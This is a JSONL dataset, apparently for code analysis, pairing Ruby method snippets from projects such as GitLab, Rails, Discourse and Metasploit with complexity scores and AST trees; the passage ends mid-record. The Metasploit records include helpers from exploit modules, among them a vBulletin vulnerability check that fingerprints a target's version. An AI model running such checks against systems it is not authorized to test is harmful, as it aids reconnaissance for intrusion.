+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/nvidia_nvsvc.rb","start_line":121,"raw_source":"def is_running?\n status = service_status('nvsvc')\n return (status and status[:state] == 4)\n rescue RuntimeError\n print_error('Unable to retrieve service status')\n return false\n end","complexity_score":8.88,"ast_json":"{\"type\":\"def\",\"children\":[\"is_running?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"send\",\"children\":[null,\"service_status\",{\"type\":\"str\",\"children\":[\"nvsvc\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"state\"]}]},\"==\",{\"type\":\"int\",\"children\":[4]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuntimeError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to retrieve service status\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]}","id":"a5fb2e7b-f81e-40ec-84d2-dde0fb97cafb"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/main/menu.rb","start_line":163,"raw_source":"def click_edit_profile_link\n retry_until(reload: false) do\n within_user_menu do\n click_element('edit-profile-link')\n end\n\n has_text?('User Settings')\n end\n end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"click_edit_profile_link\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"retry_until\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reload\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_user_menu\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"edit-profile-link\"]}]}]},{\"type\":\"send\",\"children\":[null,\"has_text?\",{\"type\":\"str\",\"children\":[\"User Settings\"]}]}]}]}]}","id":"bcbecf55-2740-4d9c-a9de-ed6efcf4a97b"}
+{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/topic_list.rb","start_line":49,"raw_source":"def has_no_unread_badge?(topic)\n page.has_no_css?(\"#{topic_list_item_unread_badge(topic)}\")\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_unread_badge?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topic_list_item_unread_badge\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]}]}]}]}","id":"3e461b72-3a6e-4df8-a455-7d65570687a5"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":2458,"raw_source":"def has_at_least_two_parts\n current_parts = parts.select { |p| !p.marked_for_destruction? }\n errors.add(:parts, \"must have at least two parts\") if current_parts.size < 2\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"has_at_least_two_parts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"current_parts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parts\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"marked_for_destruction?\"]},\"!\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_parts\"]},\"size\"]},\"<\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"parts\"]},{\"type\":\"str\",\"children\":[\"must have at least two parts\"]}]},null]}]}]}","id":"968ebc55-112a-4877-8844-91cdaba16602"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_related_epic_links_to_issue_links_spec.rb","start_line":113,"raw_source":"def create_related_epic_link(source:, target:, link_type:)\n related_epic_links.create!(\n source_id: source.id,\n target_id: target.id,\n link_type: link_type\n )\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_related_epic_link\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"source\"]},{\"type\":\"kwarg\",\"children\":[\"target\"]},{\"type\":\"kwarg\",\"children\":[\"link_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"related_epic_links\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_type\"]},{\"type\":\"lvar\",\"children\":[\"link_type\"]}]}]}]}]}","id":"d5ad7aec-30ff-497a-8979-bebbf339e317"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/markup_helper.rb","start_line":159,"raw_source":"def render_wiki_content_context(wiki, wiki_page, context)\n context.merge(\n pipeline: :wiki,\n wiki: wiki,\n repository: wiki.repository,\n page_slug: wiki_page.slug,\n issuable_reference_expansion_enabled: true,\n requested_path: wiki_page.path\n ).merge(render_wiki_content_context_container(wiki))\n end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"render_wiki_content_context\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wiki\"]},{\"type\":\"arg\",\"children\":[\"wiki_page\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"context\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"sym\",\"children\":[\"wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wiki\"]},{\"type\":\"lvar\",\"children\":[\"wiki\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki\"]},\"repository\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page_slug\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki_page\"]},\"slug\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issuable_reference_expansion_enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requested_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wiki_page\"]},\"path\"]}]}]}]},\"merge\",{\"type\":\"send\",\"children\":[null,\"render_wiki_content_context_container\",{\"type\":\"lvar\",\"children\":[\"wiki\"]}]}]}]}","id":"dc3da45b-d18c-40a7-95b1-99e9d357fb2b"}
+{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/open_project/acts/favoritable.rb","start_line":91,"raw_source":"def remove_favoriting_user(user)\n favorites.where(user:).delete_all\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_favoriting_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"favorites\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},\"delete_all\"]}]}","id":"1b84a844-392b-4611-893f-d0e2e7616add"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/models/report.rb","start_line":201,"raw_source":"def prev_start_date\n self.start_date - (self.end_date - self.start_date)\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prev_start_date\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"start_date\"]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"end_date\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"start_date\"]}]}]}]}]}","id":"2c2edaf2-1db2-4525-9e51-a2e78dc88e69"}
+{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/cli.rb","start_line":332,"raw_source":"def run\n puts \"== Available Lexers ==\"\n\n Lexer.all.sort_by(&:tag).each do |lexer|\n desc = \"#{lexer.desc}\"\n if lexer.aliases.any?\n desc << \" [aliases: #{lexer.aliases.join(',')}]\"\n end\n puts \"%s: %s\" % [lexer.tag, desc]\n puts\n end\n end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"== Available Lexers ==\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Lexer\"]},\"all\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lexer\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"desc\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lexer\"]},\"desc\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lexer\"]},\"aliases\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desc\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" [aliases: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lexer\"]},\"aliases\"]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%s: %s\"]},\"%\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lexer\"]},\"tag\"]},{\"type\":\"lvar\",\"children\":[\"desc\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\"]}]}]}]}]}","id":"c82b3a78-b145-4ecf-9920-20fe3e6436f8"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/atlassian/jira_connect/serializers/deployment_entity.rb","start_line":72,"raw_source":"def label\n \"#{project.full_path}-#{environment.name}-#{iid}-#{short_sha}\"\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"label\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"environment\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"iid\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"short_sha\"]}]}]}]}","id":"4dc47ee4-74de-4044-91e4-ac047fba8ef9"}
+{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/encryption/encrypted_attribute_type.rb","start_line":106,"raw_source":"def try_to_deserialize_with_previous_encrypted_types(value)\n previous_types.each.with_index do |type, index|\n break type.deserialize(value)\n rescue ActiveRecord::Encryption::Errors::Base => error\n handle_deserialize_error(error, value) if index == previous_types.length - 1\n end\n end","complexity_score":17.0,"ast_json":"{\"type\":\"def\",\"children\":[\"try_to_deserialize_with_previous_encrypted_types\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_types\"]},\"each\"]},\"with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"break\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"deserialize\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Encryption\"]},\"Errors\"]},\"Base\"]}]},{\"type\":\"lvasgn\",\"children\":[\"error\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"previous_types\"]},\"length\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_deserialize_error\",{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]}]},null]}]}]}","id":"31f06a7f-1015-4a87-aeb8-bd1f81b82d17"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/vbulletin_vote_sqli_exec.rb","start_line":341,"raw_source":"def check\n node_id = get_node\n\n unless node_id.nil?\n return Msf::Exploit::CheckCode::Appears\n end\n\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, \"index.php\")\n })\n\n if res and res.code == 200 and res.body.to_s =~ /\"simpleversion\": \"v=5/\n return Msf::Exploit::CheckCode::Appears\n end\n\n return Msf::Exploit::CheckCode::Safe\n end","complexity_score":18.85,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"node_id\",{\"type\":\"send\",\"children\":[null,\"get_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node_id\"]},\"nil?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"simpleversion\\\": \\\"v=5\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Appears\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"670061ee-90e5-4560-9301-5119c259af6f"}
+{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/application_controller.rb","start_line":938,"raw_source":"def set_cross_origin_opener_policy_header\n if current_user.present? && SiteSetting.cross_origin_opener_unsafe_none_groups_map.any? &&\n current_user.in_any_groups?(SiteSetting.cross_origin_opener_unsafe_none_groups_map)\n response.headers[\"Cross-Origin-Opener-Policy\"] = \"unsafe-none\"\n else\n response.headers[\"Cross-Origin-Opener-Policy\"] = SiteSetting.cross_origin_opener_policy_header\n end\n end","complexity_score":20.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_cross_origin_opener_policy_header\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"cross_origin_opener_unsafe_none_groups_map\"]},\"any?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"in_any_groups?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"cross_origin_opener_unsafe_none_groups_map\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Cross-Origin-Opener-Policy\"]},{\"type\":\"str\",\"children\":[\"unsafe-none\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"response\"]},\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Cross-Origin-Opener-Policy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"cross_origin_opener_policy_header\"]}]}]}]}","id":"bd38582f-22c8-4ea3-b398-3b5167528072"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/previews/pajamas/single_stat_component_preview.rb","start_line":17,"raw_source":"def default(\n title: 'Single stat',\n stat_value: '9,001',\n unit: '',\n title_icon: 'chart',\n meta_text: '',\n meta_icon: 'check-circle',\n variant: :default\n )\n render Pajamas::SingleStatComponent.new(\n title: title,\n stat_value: stat_value,\n unit: unit,\n title_icon: title_icon,\n meta_text: meta_text,\n meta_icon: meta_icon,\n variant: variant\n )\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"default\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"title\",{\"type\":\"str\",\"children\":[\"Single stat\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"stat_value\",{\"type\":\"str\",\"children\":[\"9,001\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"unit\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"title_icon\",{\"type\":\"str\",\"children\":[\"chart\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"meta_text\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"meta_icon\",{\"type\":\"str\",\"children\":[\"check-circle\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"variant\",{\"type\":\"sym\",\"children\":[\"default\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pajamas\"]},\"SingleStatComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stat_value\"]},{\"type\":\"lvar\",\"children\":[\"stat_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unit\"]},{\"type\":\"lvar\",\"children\":[\"unit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title_icon\"]},{\"type\":\"lvar\",\"children\":[\"title_icon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meta_text\"]},{\"type\":\"lvar\",\"children\":[\"meta_text\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meta_icon\"]},{\"type\":\"lvar\",\"children\":[\"meta_icon\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"lvar\",\"children\":[\"variant\"]}]}]}]}]}]}","id":"6f6ef506-8d34-48e5-a981-1e3fe4023d02"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/runtime/feature.rb","start_line":81,"raw_source":"def api_client\n @api_client ||= Runtime::API::Client.as_admin\n rescue Runtime::API::Client::AuthorizationError => e\n raise AuthorizationError, \"Administrator access is required to enable/disable feature flags. #{e.message}\"\n end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"api_client\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@api_client\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Client\"]},\"as_admin\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Runtime\"]},\"API\"]},\"Client\"]},\"AuthorizationError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"AuthorizationError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Administrator access is required to enable/disable feature flags. \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"dd611697-4d81-4d39-aa54-f8f05fa1f361"}
+{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/artifacts/adapters/gzip_stream.rb","start_line":19,"raw_source":"def each_blob\n stream.seek(0)\n\n until stream.eof?\n gzip(stream) do |gz|\n yield gz.read, gz.orig_name\n unused = gz.unused&.length.to_i\n # pos has already reached to EOF at the moment\n # We rewind the pos to the top of unused files\n # to read next gzip stream, to support multistream archives\n # https://golang.org/src/compress/gzip/gunzip.go#L117\n stream.seek(-unused, IO::SEEK_CUR)\n end\n end\n end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"each_blob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream\"]},\"seek\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream\"]},\"eof?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gzip\",{\"type\":\"send\",\"children\":[null,\"stream\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gz\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gz\"]},\"read\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gz\"]},\"orig_name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"unused\",{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gz\"]},\"unused\"]},\"length\"]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stream\"]},\"seek\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unused\"]},\"-@\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"SEEK_CUR\"]}]}]}]}]}]}]}","id":"7bc627d6-8fa5-49e4-a0c6-d17a7642e337"}
+{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/configurable.rb","start_line":26,"raw_source":"def self.included(mod)\n mod.extend(ClassMethods)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]}]}","id":"117b8fc3-9b40-4b29-9190-9ee36372b954"}
+{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/developer.rb","start_line":405,"raw_source":"def cmd__historymanager(*args)\n if args.include?('-h') || args.include?('--help')\n cmd__historymanager_help\n return false\n end\n\n opts = {}\n @@_historymanager_opts.parse(args) do |opt, idx, val|\n case opt\n when '-l', '--list'\n opts[:list] = true\n when '-d', '--debug'\n opts[:debug] = val.nil? ? true : val.downcase.start_with?(/t|y/)\n end\n end\n\n if opts.empty?\n opts[:list] = true\n end\n\n if opts.key?(:debug)\n framework.history_manager._debug = opts[:debug]\n print_status(\"HistoryManager debugging is now #{opts[:debug] ? 'on' : 'off'}\")\n end\n\n if opts[:list]\n table = Rex::Text::Table.new(\n 'Header' => 'History contexts',\n 'Indent' => 1,\n 'Columns' => ['Id', 'File', 'Name']\n )\n framework.history_manager._contexts.each.with_index do |context, id|\n table << [id, context[:history_file], context[:name]]\n end\n\n if table.rows.empty?\n print_status(\"No history contexts present.\")\n else\n print_line(table.to_s)\n end\n end\n end","complexity_score":60.35,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd__historymanager\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"-h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"include?\",{\"type\":\"str\",\"children\":[\"--help\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd__historymanager_help\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@_historymanager_opts\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\